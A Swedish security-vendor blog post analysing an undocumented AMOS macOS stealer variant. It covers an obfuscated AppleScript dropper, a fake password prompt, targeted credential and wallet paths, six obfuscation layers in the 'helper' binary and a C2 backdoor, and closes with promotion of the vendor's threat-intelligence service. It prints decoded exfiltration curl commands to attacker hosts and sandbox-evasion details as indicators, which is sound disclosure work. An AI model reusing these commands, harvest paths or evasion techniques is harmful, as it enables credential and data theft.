Anatomin hos en okänd AMOS Stealer: Från larm till immunitet på timmar

En hittills odokumenterad AMOS-Stealer-variant komprometterade en macOS-endpoint. Inga kända hashvärden, inga C2-data i offentliga databaser. Vårt SOC monterade ner sex obfuskeringslager, extraherade alla indikatorer och distribuerade skyddet till alla SOC-kunder inom timmar, innan branschen ens hade sett samplet.

Anatomin hos en okänd AMOS Stealer: Från larm till immunitet på timmar

När ett larm utlöses i vårt SOC börjar klockan ticka: inte bara för den drabbade kunden, utan för alla organisationer under vårt skydd. Det farligaste ögonblicket i dagens hotlandskap är the Intelligence Gap, tidsfönstret mellan den första användningen av en ny malware-variant och den dag branschen får kännedom om den.

För fristående säkerhetsteam innebär den luckan extrem sårbarhet: man väntar på en vendor-uppdatering eller en signaturfeed som ännu inte har skrivits. För våra kunder stänger vår internt utvecklade Shared Threat Intelligence exakt det fönstret.

Det här inlägget är en teknisk genomgång av hur vi tog isär en hittills odokumenterad AMOS-variant (Atomic macOS Stealer) och hur en enda komprometterad endpoint inom några timmar förvandlades till en heltäckande upptäckt och blockering för alla våra kundmiljöer.


Incidenten: Ett okänt IOC-scenario

Larmet kom in den 12 mars 2026 kl. 06:25 lokal tid: en macOS-endpoint hade komprometterats. När vårt SOC började analysera artefakterna stod vi inför en situation som varje threat analyst fruktar: inga kända filhashvärden, inga C2-IP-adresser, inga meningsfulla beteendesignaturer i offentliga databaser.

Den fullständiga angreppsarkitekturen avslöjades först vid djupanalysen. Infektionen byggde på en 15,7 MB stor macOS Universal Binary (x86_64 och ARM64), placerad under /private/tmp/helper. Samplet fanns inte direkt tillgängligt på det komprometterade systemet; vårt team fick rekonstruera infektionskedjan och simulera den ursprungliga leveransförfrågan för att manuellt hämta binären från angriparens infrastruktur.


Stage 1: Sandbox-kontroller

Innan själva stealern kördes på enheten hade redan en AppleScript-payload körts. Varje sträng i den, varje sökväg, varje shell-kommando, varje URL var kodad via tre egendefinierade aritmetiska funktioner:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Inte en enda sträng förekommer i klartext. Det som vid första anblicken såg ut som meningslösa heltalsvektorer visade sig efter att kodningsschemat vänts vara ett fullständigt, driftklart ramverk för datastöld och exfiltrering.

Vi avkodade varje vektor i skriptet statiskt. Resultaten var entydiga:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

Nedladdnings-URL:en efterliknar medvetet en legitim uppdatering för n8n workflow-automation, ett verktyg som är utbrett bland utvecklare och DevOps-ingenjörer. Det är ingen slump: kampanjen riktar sig mot tekniskt kunniga användare, inte mot vanliga slutanvändare som installerar crackad mjukvara.

Anti-sandbox-kontrollen

Före nedladdningen körde skriptet en dedikerad rutin för VM- och sandbox-detektering. Ur incidentartefakterna kunde vi dessutom återställa ett fristående anti-sandbox-skript:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Resultaten kontrollerade skriptet sedan mot två listor. Den första sökte efter virtualiseringsmarkörer i minnesdatan:

"QEMU"   "VMware"   "KVM"

Den andra kontrollerade hårdvaruidentifierare mot en lista över kända serienummer på analysmaskiner:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

Vid en träff: exit 100, fullständigt avbrott. På en riktig MacBook Pro med Apple Silicon klarade alla kontroller ljudlöst, och exekveringen fortsatte. En sandbox-evasionsteknik på professionell nivå, som kördes innan en enda byte av binären hade laddats ner.

Enkelt men verkningsfullt: Den falska lösenordsfrågan

Det avkodade skriptet innehöll även dialogen för privilegie-eskalering via social engineering:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Dialogen visas via ett vanligt macOS-display dialog-anrop med with hidden answer och går optiskt inte att skilja från en äkta macOS-auktoriseringsfråga. Det inmatade lösenordet använde skriptet för att anropa login -pf <username> och lyfta processen till root-behörighet, redan innan binären kördes.

Vad skriptet samlade in

Så snart binären hade körts fortsatte osascript sitt eget insamlingsflöde och skrapade av varje kategori av känsliga systemdata. Vi avkodade alla insamlingssökvägar och mål:

Webbläsardata (alla Chromium-webbläsare + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Fullständigt innehåll exporterat som HTML med räknar-header

Lokala filer

Skrivbord och Dokument, upp till 30 MB, med fokus på:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Kryptovaluta-plånböcker

En hårdkodad lista med fler än 200 browser-extension-ID:n, som täcker alla vanliga plånböcker, däribland MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI och Exodus.

Efter insamlingen buntades alla data ihop i en slumpmässigt namngiven temporär katalog och exfiltrerades:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

Rensningen följde omedelbart:

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2: Reverse engineering av 'helper'-binären

helper-binären är den del där analysen verkligen går på djupet. Det rör sig om en professionellt obfuskerad macOS-exekverbar fil som systematiskt försvårar statisk analys och som stod för det största reverse engineering-arbetet i hela undersökningen.

Hela analysen genomfördes med Ghidra och vårt egendefinierade ARM64-analysflöde.

Filegenskaper

Egenskap Värde
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Det börjar före main()

Det första vi noterade i Ghidra: den här binären beter sig inte som en normal exekverbar fil. Den egentliga ingångspunkten är inte main(), utan en funktion som är registrerad i __mod_init_func, en macOS-mekanism som instruerar den dynamiska länkaren (dyld) att automatiskt köra vissa funktioner när binären laddas, redan innan användbar kod körs.

Init-funktionen vid 0x10009f384 är malwarens egentliga ingångspunkt. Här är Ghidra-dekompileringen:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

Två saker sticker omedelbart ut. Först 894-mikrosekunders-usleep vid start: en anti-sandbox-timingsignal. Allvarligare är den indirekta hopptabellen vid 0x10009f43c. Det är en beräknad branch där måladressen bestäms vid körning ur en lookup-tabell. Statiska analysverktyg kan inte rekonstruera control flow-grafen; Ghidra loggade flera "unreachable block"-varningar när det försökte följa exekveringsvägen. Det är avsiktligt.

Hopptabellen driver en 14-tillstånds-exekveringsmaskin. Varje tillstånd utför ett enda diskret steg i dekrypterings- och exekveringspipelinen. Tillståndsräknaren uppdateras efter varje steg, och maskinen kör tills alla tillstånd har passerats.

ARM64-disassemblyn av state dispatchern

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Sex staplade obfuskeringslager

Binären använder sex olika obfuskeringslager, staplade och kedjade så att utdatan från varje lager matas in i nästa. Varje payload, varje sträng, varje intern konstant är kodad. I __const-segmentet förekommer ingenting meningsfullt i klartext. Det som följer är en fullständig genomgång lager för lager, verifierad direkt i Ghidra, ända ner till enskilda ARM64-instruktioner. Var och en av de använda teknikerna är känd för sig; deras kedjade tillämpning över flera steg skapade dock ett starkt inbördes beroende i exekveringsflödet som avsevärt försvårade den statiska och dynamiska analysen.


Layer 1: Compile-time-triplett-kodning

Ingen sträng i binären lagras som en teckensekvens, utan som en sekvens av 12-byte aritmetiska tripletter. Varje triplett (a, b, shift) kodar exakt ett utdatatecken. Kodningsschemat tillämpas vid kompileringstid, så att ingen sträng någonsin existerar som klartext i binären, inte ens tillfälligt vid laddning.

Två separata decoder-funktioner hanterar olika strängstorlekar. FUN_100087c08 vid 0x100087c08 avkodar 60-teckensträngar (720 byte indata från DAT_1006292cc). FUN_10007ad80 vid 0x10007ad80 avkodar 56-teckensträngar (672 byte från DAT_10049708c). Båda använder samma algoritm.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

Motsvarande ARM64-assembly, där varje instruktion direkt motsvarar en operation i formeln:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Anmärkningsvärt: multiplikationen b × 3 är implementerad som add w12, w11, w11, LSL #1, en shift-and-add som helt undviker en multiplikationsinstruktion. Det är en klassisk compiler-optimering som samtidigt gör koden svårare att hitta med signaturmatchning.

Den fullständiga avkodningsformeln:

char = ASR( (b × 3) XOR a, shift ) − b

ASR (Arithmetic Shift Right) är avgörande: den bevarar teckenbiten. Om mellanresultatet av (b×3) XOR a är negativt, vilket ofta inträffar, skulle en logisk shift ge ett helt annat resultat. Det är avsiktligt: den som återimplementerar formeln i ett högnivåspråk med >> får tyst felaktiga utdata om den teckenbehäftade aritmetiken inte hanteras explicit.

56-teckensvarianten FUN_10007ad80 är strukturellt identisk, arbetar på DAT_10049708c med en loopgräns på 0x38. Båda funktionerna bekräftades live i Ghidra under analysen.


Layer 2: Hex-string-kodning

Råbytena som Layer 1 producerar är själva ASCII-hex-tecken, inte binärdata. Utdatan från en Layer 1-triplett-avkodning är en sträng av hex-par: 32694e5462.... Det bekräftas av decoder-funktionen FUN_100000dc0 vid 0x100000dc0, som implementerar en hex-avkodning via en lookup-tabell vid DAT_1007bb591.

Ghidra-dekompileringen visar en switch-sats som mappar varje hex-tecken (0x30-0x39, 0x41-0x46, 0x61-0x66) till sitt nibble-värde och sätter ihop utdatabytes två tecken i taget:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

ARM64-assemblyn driver detta med en sekundär computed branch-tabell och implementerar därmed i praktiken en hopptabell med 55 poster för switch-satsen:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

Två beräknade branches i ett 24-byte-fönster. Statiska analysverktyg klarar inte det här mönstret eftersom båda branch-målen är okända vid analystillfället.

En 137 208 tecken lång hex-sträng ger efter avkodning 68 604 byte, som sedan matas in i Layer 3.


Layer 3: Egendefinierat 16-symbolers nibble-alfabet

De 68 604 utdatabytena från Layer 2 använder bara 16 unika bytevärden ur två icke sammanhängande ASCII-intervall:

  • 0x20-0x2F: mellanslag, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

Det är ett medvetet designval. I en hex-editor ser de här bytena ut som mellanslag, skiljetecken och ASCII-marginaltecken; de smälter in i bruset av det som ser ut som metadata eller padding. En analytiker som ögnar igenom en hex-dump kommer inte att flagga de här byteintervallen som misstänkta, och standardmässig entropianalys underskattar den effektiva entropin eftersom bytefördelningen inte framstår som slumpmässig.

Varje byte i det här alfabetet kodar ett nibble av den egentliga payloaden. Alfabet-till-nibble-mappningen tillämpas av encode-/decode-funktionen FUN_100000d60, som vi bekräftade vid 0x100000d60. Den kedjar två delfunktioner: FUN_100000b50 skapar en indexerad karta över tecknen i indatasträngen, och FUN_100000c34 går igenom den kartan, konsumerar 6 bitar per steg och ackumulerar utdatabytes 8 bitar i taget:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

De 34 302 byte som kommer ut ur den här genomgången är till 99,7 % skrivbar ASCII. Vid en första flyktig anblick ser payloaden i det här steget ut som ett stort shell-skript eller en konfigurations-blob.


Layer 4: Compile-time-string-obfuskering

Internt använda strängar obfuskeras vid kompileringstid med samma triplett-schema som Layer 1 och rekonstrueras vid körning omedelbart innan de används. I minnet stannar de aldrig längre än nödvändigt; bufferten frigörs direkt efter att den förbrukats. I binärens statiska datasektioner är aldrig någon avkodad sträng synlig.

String-hash-funktionen FUN_100000730 levererar ett sekundärt obfuskeringslager för strängjämförelser. I stället för att jämföra strängar direkt, vilket skulle lämna klartext i minnet, beräknar och jämför binären heltals-hashvärden:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

Motsvarande ARM64-assembly ersätter multiplikationen med en fused multiply-add:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Det innebär att inte ens en jämförelse av två strängar inuti binären skapar en branch som en debugger kan fånga rent på strängnivå, utan bara på hash-nivå.


Layer 5: Duala custom-stream-cipher-instanser

Här blir obfuskeringsarkitekturen ovanlig. I binären körs inte en, utan två separata cipher-instanser, var och en med en annan hårdkodad lookup-tabell och en annan starträknare. Båda använder samma algoritmstruktur men producerar olika utdataalfabet för olika delar av payload-pipelinen.

Instans A, FUN_10007ab34 vid 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instans B, FUN_10007a7e0 vid 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Algoritmen är strukturellt identisk, men starträknaren skiljer sig (0x4c vs. 0x9f) och lookup-tabellerna ligger på olika minnesadresser. Instans A anropas från tillstånd 11 i tillståndsmaskinen för att generera kodningsalfabetet för den första payload-vägen. Instans B anropas från tillstånd 6 för att generera alfabetet för avkodningen av den stora shell-skript-payloaden.

Mer precist uttryckt: det rör sig om ett substitutionschiffer med räknarberoende index. Varje utdatabyte är en tabell-lookup där indexet är (input_byte XOR counter) & 0xFF. Räknaren uppdateras efter varje byte som counter = (i + (counter XOR output)) & 0xFF, vilket innebär att varje utdatabyte påverkar bestämningen av nästa lookup-index. Det skapar en beroendekedja över hela utdatasekvensen: byte N går inte att dekryptera utan att bytena 0 till N-1 har dekrypterats korrekt. Partiell dekryptering eller felanalys blir därmed avsevärt svårare.

Ingen av instanserna är standard-RC4. Det finns ingen S-box-initialiseringsfas, ingen S-box-swap-operation. Lookup-tabellerna är statiska, inbäddade konstanter från kompileringstid.


Layer 6: Runtime-XOR med exit-code-beroende nyckel

Det sista och analytiskt mest krävande lagret tillämpar en in-place-XOR-transformation på stage 2-payloaden. XOR-nyckeln är inte hårdkodad utan härleds vid körning ur exit-koden från den första shell-payload-exekveringen, och är därmed i princip inte bestämbar genom statisk analys. Binären måste faktiskt köras och det första shell-skriptet köra klart innan nyckeln överhuvudtaget existerar.

Nyckelhärledningssekvensen i ARM64-state-machine-dispatchern:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

XOR-loopen som bearbetar stage 2-payloaden:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

Nyckeln är ett 16-bitars värde som härleds ur exit-status-byten från den första shell-payloaden, multipliceras med 0x7f0 och adderas till det aktuella värdet i tillståndsmaskinens basräknarregister w26. Multiplikationskonstanten 0x7f0 gör att en enbitsskillnad i exit-koden ger en helt annan nyckel. Det finns ingen utnyttjbar kontinuitet mellan intilliggande nyckelvärden.

Utan att köra binären i en kontrollerad miljö och registrera den exakta exit-koden från den första shell-payloaden förblir stage 2-payloaden permanent ogenomtränglig för statisk analys. Det var den svåraste hindret i hela analysen.


Shell-exekvering: Pipes i stället för argument, och SIMD-XOR

Shell-exekveringsfunktionen FUN_10000091c vid 0x10000091c är binärens arkitektoniskt mest intressanta komponent. Här löper allt samman: den avkodade payloaden, det obfuskerade kommandonamnet och den uttalade anti-forensiska designen. Varje designval i den här funktionen tjänar ett specifikt evasionssyfte.

Steg 1: Kommandonamnet förekommer aldrig i klartext

/bin/zsh finns ingenstans i binären som klartext. I __cstring-avsnittet vid 0x1007bb5c8 ligger strängen som obfuskerade bytes \x01LG@\x01T]F. Avkodningen sker vid körning via en enda XOR-operation, direkt verifierbar i ARM64-assemblyn:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

XOR-nyckeln är 0x2e, ASCII-värdet för . (punkt). Avkodningen sker i en enda eor v0.8B, v0.8B, v1.8B-instruktion, en ARM64-NEON-vektorinstruktion som XOR-kombinerar alla 8 bytes samtidigt. Att använda en SIMD-instruktion för en enkel 8-byte-avkodning är ovanligt och har två effekter: snabbare än en byte-för-byte-loop, och det genererade instruktionsmönstret skiljer sig i grunden från de skalära avkodningsloopar som signaturmatchningsverktyg är tränade på.

Verifieringen är enkel: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, vilket ger /bin i de första fyra bytena.

Steg 2: Pipe-arkitekturen

Efter att kommandonamnet avkodats skapar funktionen en OS-pipe och forkar:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

I barnprocessen:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Barnprocessen ersätter sin standard-input med läsänden av pipen och startar /bin/zsh -s. I -s-läge läser shellen kommandon från stdin. För process-monitoring-verktyg framstår den här processen som /bin/zsh -s utan argument, omöjlig att skilja från en legitim interaktiv shell-session.

Steg 3: Chunk-writes med variabel storlek

Föräldraprocessen skriver den dekrypterade payloaden i medvetet varierande chunk-storlekar till skrivänden av pipen:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

Chunk-storleksformeln (remaining_length % 192) + 64 ger värden mellan 64 och 255 byte per write-anrop, beroende på återstående payload-längd. Det variabla write-mönstret är synligt i kernel-event-tracing-verktyg som ktrace eller dtrace, men skapar ingen igenkännbar fast-storlek-signatur. Varje exekvering av samma payload producerar en annan sekvens av write()-syscall-storlekar.

1-mikrosekunders-usleep mellan chunkarna tjänar ett andra syfte: det lämnar tillbaka CPU:n mellan skrivningarna, håller CPU-belastningen jämn och undviker en plötslig spik som en beteendebaserad EDR-regel skulle kunna flagga som anomal burst-I/O.

Steg 4: Omedelbar minnesrensning

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

_bzero()-anropet nollställer hela den dekrypterade payload-bufferten omedelbart efter den sista skrivningen till pipen. Inget tidsfönster, inte ens en mikrosekund, där den dekrypterade payloaden ligger kvar i minnet efter avslutad exekvering. En live-memory-dump som tas direkt efter att funktionen returnerat hittar bara nollor där payloaden var.

Det kallas zero-after-use, samma teknik som högsäkra kryptografiska bibliotek använder för att nyckelmaterial inte ska bli kvar i minnet. Att den tekniken dyker upp i commodity-malware är ovanligt och tyder på en utvecklare med bakgrund inom security engineering.

Den fullständiga exekveringssekvensen:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

Import-tabellen som vapen

Den fullständiga import-tabellen för den här binären:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

Totalt 27 symboler. Det som saknas är minst lika avslöjande som det som finns.

Frånvarande: Nätverk

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Frånvarande: Filsystem

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Frånvarande: Process-introspektion

getpid      getuid      getenv      sysctl

Frånvarande: Kryptografi

CCCrypt     SecItemAdd  SecKeychainFind

Hos ett traditionellt malware-sample förväntar man sig nätverks-imports (socket, connect) eller fil-imports (fopen, write). Den här binären har inte en enda. För en standardscanner ser den ut som en harmlös process-launcher, och det är precis planerat: ett medvetet arkitekturval som får statiska analysverktyg att gå bet.

helper-binären utför inte stölden själv. Dess enda syfte är att lägga ut och köra den egentliga skadliga payloaden, ett kraftigt obfuskerat AppleScript. En EDR eller AV som letar efter skadliga binärer ser här en loader utan nätverks- eller fil-I/O och kan bedöma den som ren, utan att inse att binären är ett specialiserat leveranssystem för en högnivå-skript-payload.


Bakdörren

Incidenten tog inte slut efter den initiala kompromitteringen. Microsoft Defender-telemetri visade en process som körde från /Users/<redacted>/.mainhelper och pollade en extern server:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

Base64-strängen avkodades till en 16-byte-enhets-UUID, den unika identifierare som angriparens C2-infrastruktur hade tilldelat den här enheten dagen för den första infektionen.

.mainhelper-binären (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) hade installerats via ditto av osascript-droppern samma dag som incidenten.


Den kollektiva skölden och dess styrka: Vår Shared-Threat-Intelligence-plattform

När ett larm utlöses i vårt SOC börjar klockan ticka inte bara för den drabbade kunden, utan för varje organisation under glueckkanjas skyddssköld. Den här undersökningen av en odokumenterad AMOS-variant visar tydligt vad the Intelligence Gap betyder i praktiken: ett farligt tidsfönster där traditionella leverantörer är blinda, eftersom de ännu inte har sett hotet.

